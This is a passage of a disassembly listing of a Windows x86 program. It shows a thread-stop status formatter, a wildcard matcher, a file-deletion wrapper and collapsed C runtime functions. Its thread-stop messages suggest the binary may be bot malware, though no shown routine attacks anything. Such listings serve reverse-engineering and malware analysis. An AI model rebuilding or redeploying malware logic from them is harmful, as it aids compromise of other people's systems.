		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_411F27
; ---------------------------------------------------------------------------


loc_411F0D:				; CODE XREF: sub_411EC8+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_411F27:				; CODE XREF: sub_411EC8+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_411F47
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h


loc_411F47:				; CODE XREF: sub_411EC8+63j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		pop	ecx
		leave
		retn
sub_411EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F56	proc near		; CODE XREF: sub_4027F8+206p
					; sub_402A0C+238p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_430554[eax], ecx
		mov	dword_430540[eax], ecx
		mov	dword_430544[eax], ecx
		mov	dword_430548[eax], ecx
		mov	dword_43054C[eax], ecx
		mov	dword_430550[eax], ecx
		mov	byte ptr dword_430340[eax], cl
		mov	byte_430558[eax], cl
		retn
sub_411F56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411F93	proc near		; CODE XREF: sub_409557+533Fp
					; sub_4120C1+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_411F9D:				; CODE XREF: sub_411F93+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_411FFD
		cmp	eax, 1
		jnz	short loc_411FFD
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_411FFD
		cmp	cl, 2Ah
		jz	short loc_411FE4
		cmp	cl, 3Fh
		jz	short loc_411FC7
		cmp	cl, 5Bh
		jz	short loc_411FCC
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_411FC7:				; CODE XREF: sub_411F93+26j
		inc	[ebp+arg_4]
		jmp	short loc_411FF7
; ---------------------------------------------------------------------------


loc_411FCC:				; CODE XREF: sub_411F93+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_412029
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_411FF7
; ---------------------------------------------------------------------------


loc_411FE4:				; CODE XREF: sub_411F93+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4120C1
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_411FF7:				; CODE XREF: sub_411F93+37j
					; sub_411F93+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_411F9D
; ---------------------------------------------------------------------------


loc_411FFD:				; CODE XREF: sub_411F93+Ej
					; sub_411F93+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41200D
		cmp	eax, 1
		jnz	short loc_412024
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_411FFD
; ---------------------------------------------------------------------------


loc_41200D:				; CODE XREF: sub_411F93+6Dj
		cmp	eax, 1
		jnz	short loc_412024
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_412024
		cmp	byte ptr [esi],	0
		jnz	short loc_412024
		push	1
		pop	eax
		jmp	short loc_412026
; ---------------------------------------------------------------------------


loc_412024:				; CODE XREF: sub_411F93+72j
					; sub_411F93+7Dj ...
		xor	eax, eax


loc_412026:				; CODE XREF: sub_411F93+8Fj
		pop	esi
		pop	ebp
		retn
sub_411F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412029	proc near		; CODE XREF: sub_411F93+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41204A
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41204A:				; CODE XREF: sub_412029+19j
		push	ebx
		push	esi


loc_41204C:				; CODE XREF: sub_412029+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41205A
		cmp	[ebp+var_4], eax
		jnz	short loc_4120A6


loc_41205A:				; CODE XREF: sub_412029+2Aj
		test	edi, edi
		jnz	short loc_41209B
		cmp	bl, 2Dh
		jnz	short loc_41208F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_41208F
		cmp	al, 5Dh
		jz	short loc_41208F
		cmp	[ebp+var_4], edi
		jnz	short loc_41208F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_41209B
		cmp	bl, al
		jg	short loc_41209B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_41209B
; ---------------------------------------------------------------------------


loc_41208F:				; CODE XREF: sub_412029+38j
					; sub_412029+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_41209B
		push	1
		pop	edi


loc_41209B:				; CODE XREF: sub_412029+33j
					; sub_412029+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41204C
; ---------------------------------------------------------------------------


loc_4120A6:				; CODE XREF: sub_412029+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4120B3
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4120B3:				; CODE XREF: sub_412029+82j
		cmp	edi, eax
		jnz	short loc_4120BC
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4120BC:				; CODE XREF: sub_412029+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_412029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4120C1	proc near		; CODE XREF: sub_411F93+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4120DD:				; CODE XREF: sub_4120C1+3Aj
		cmp	[eax], bl
		jz	short loc_4120FD
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_4120F2
		cmp	cl, 2Ah
		jnz	short loc_4120FD
		cmp	cl, 3Fh
		jnz	short loc_4120F5


loc_4120F2:				; CODE XREF: sub_4120C1+25j
		inc	eax
		mov	[edi], eax


loc_4120F5:				; CODE XREF: sub_4120C1+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4120DD
; ---------------------------------------------------------------------------


loc_4120FD:				; CODE XREF: sub_4120C1+1Ej
					; sub_4120C1+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_412108
		inc	dword ptr [esi]
		jmp	short loc_4120FD
; ---------------------------------------------------------------------------


loc_412108:				; CODE XREF: sub_4120C1+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_412129
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41211A
		xor	eax, eax
		jmp	short loc_412189
; ---------------------------------------------------------------------------


loc_41211A:				; CODE XREF: sub_4120C1+53j
		cmp	cl, bl
		jnz	short loc_412129
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_412129
		push	1
		pop	eax
		jmp	short loc_412189
; ---------------------------------------------------------------------------


loc_412129:				; CODE XREF: sub_4120C1+4Dj
					; sub_4120C1+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_411F93
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412173


loc_412137:				; CODE XREF: sub_4120C1+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41213B:				; CODE XREF: sub_4120C1+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_412153
		cmp	cl, 5Bh
		jz	short loc_412153
		cmp	dl, bl
		jz	short loc_412153
		inc	eax
		mov	[edi], eax
		jmp	short loc_41213B
; ---------------------------------------------------------------------------


loc_412153:				; CODE XREF: sub_4120C1+82j
					; sub_4120C1+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41216A
		push	eax
		push	dword ptr [esi]
		call	sub_411F93
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41216F
; ---------------------------------------------------------------------------


loc_41216A:				; CODE XREF: sub_4120C1+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41216F:				; CODE XREF: sub_4120C1+A7j
		cmp	eax, ebx
		jnz	short loc_412137


loc_412173:				; CODE XREF: sub_4120C1+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_412186
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_412186
		mov	[ebp+var_4], 1


loc_412186:				; CODE XREF: sub_4120C1+B6j
					; sub_4120C1+BCj
		mov	eax, [ebp+var_4]


loc_412189:				; CODE XREF: sub_4120C1+57j
					; sub_4120C1+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4120C1	endp

; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+"	TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf.	PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41274C	proc near		; CODE XREF: sub_4027F8+39p
					; sub_4030D9+2Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4280B0, eax
		retn
sub_41274C	endp

; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION _strncat.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD	"+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+"	TO EXPAND]
; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; [00000120 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __fsopen.	PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fpmath.	PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_412EA4	proc near		; CODE XREF: sub_403A2F+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41B0A8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412EC4
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		call	__dosmaperr
		pop	ecx


loc_412EC0:				; CODE XREF: sub_412EA4+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_412EC4:				; CODE XREF: sub_412EA4+Dj
		test	al, 1
		jz	short loc_412EE5
		test	[esp+arg_4], 2
		jz	short loc_412EE5
		mov	dword_475524, 0Dh
		mov	dword_475528, 5
		jmp	short loc_412EC0
; ---------------------------------------------------------------------------


loc_412EE5:				; CODE XREF: sub_412EA4+22j
					; sub_412EA4+29j
		xor	eax, eax
		retn
sub_412EA4	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+"	TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul.	PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+"	TO EXPAND]
; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD	"+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_413BB6	proc near		; CODE XREF: sub_409557+2436p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_41B110	; DeleteFileA
		test	eax, eax
		jnz	short loc_413BCC
		call	ds:dword_41B060	; RtlGetLastWin32Error
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BCC:				; CODE XREF: sub_413BB6+Cj
		xor	eax, eax


loc_413BCE:				; CODE XREF: sub_413BB6+14j
		test	eax, eax
		jz	short loc_413BDD
		push	eax
		call	__dosmaperr
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_413BDD:				; CODE XREF: sub_413BB6+1Aj
		xor	eax, eax
		retn
sub_413BB6	endp

; [00000032 BYTES: COLLAPSED FUNCTION _fprintf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	__XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	__exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf.	PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output.	PRESS KEYPAD "+" TO EXPAND]
off_4151EF	dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er
		dd offset loc_414B43	; jump table for switch	statement
		dd offset loc_414B5E
		dd offset loc_414BAA
		dd offset loc_414BE1
		dd offset loc_414BE9
		dd offset loc_414C1E
		dd offset loc_414CB1
; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO	EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+"	TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS	KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __un_inc.	PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS	KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+"	TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+"	TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F73	proc near		; CODE XREF: ___endstdiop
		push	1
		call	_flsall
		pop	ecx
		retn
sub_415F73	endp

; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+"	TO EXPAND]
; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf.	PRESS KEYPAD "+" TO EXPAND]
; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS	KEYPAD "+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD	"+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO	EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD	"+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD	"+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS	KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+"	TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+"	TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+"	TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+"	TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper.	PRESS KEYPAD "+" TO EXPAND]
; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt.	PRESS KEYPAD "+" TO EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO	EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS	KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+"	TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+"	TO EXPAND]
; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+"	TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD	"+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_428628
		jmp	short loc_417D60
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_2:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+"	TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf.	PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty.	PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO	EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD	"+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+"	TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+"	TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isspace.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl.	PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+"	TO EXPAND]
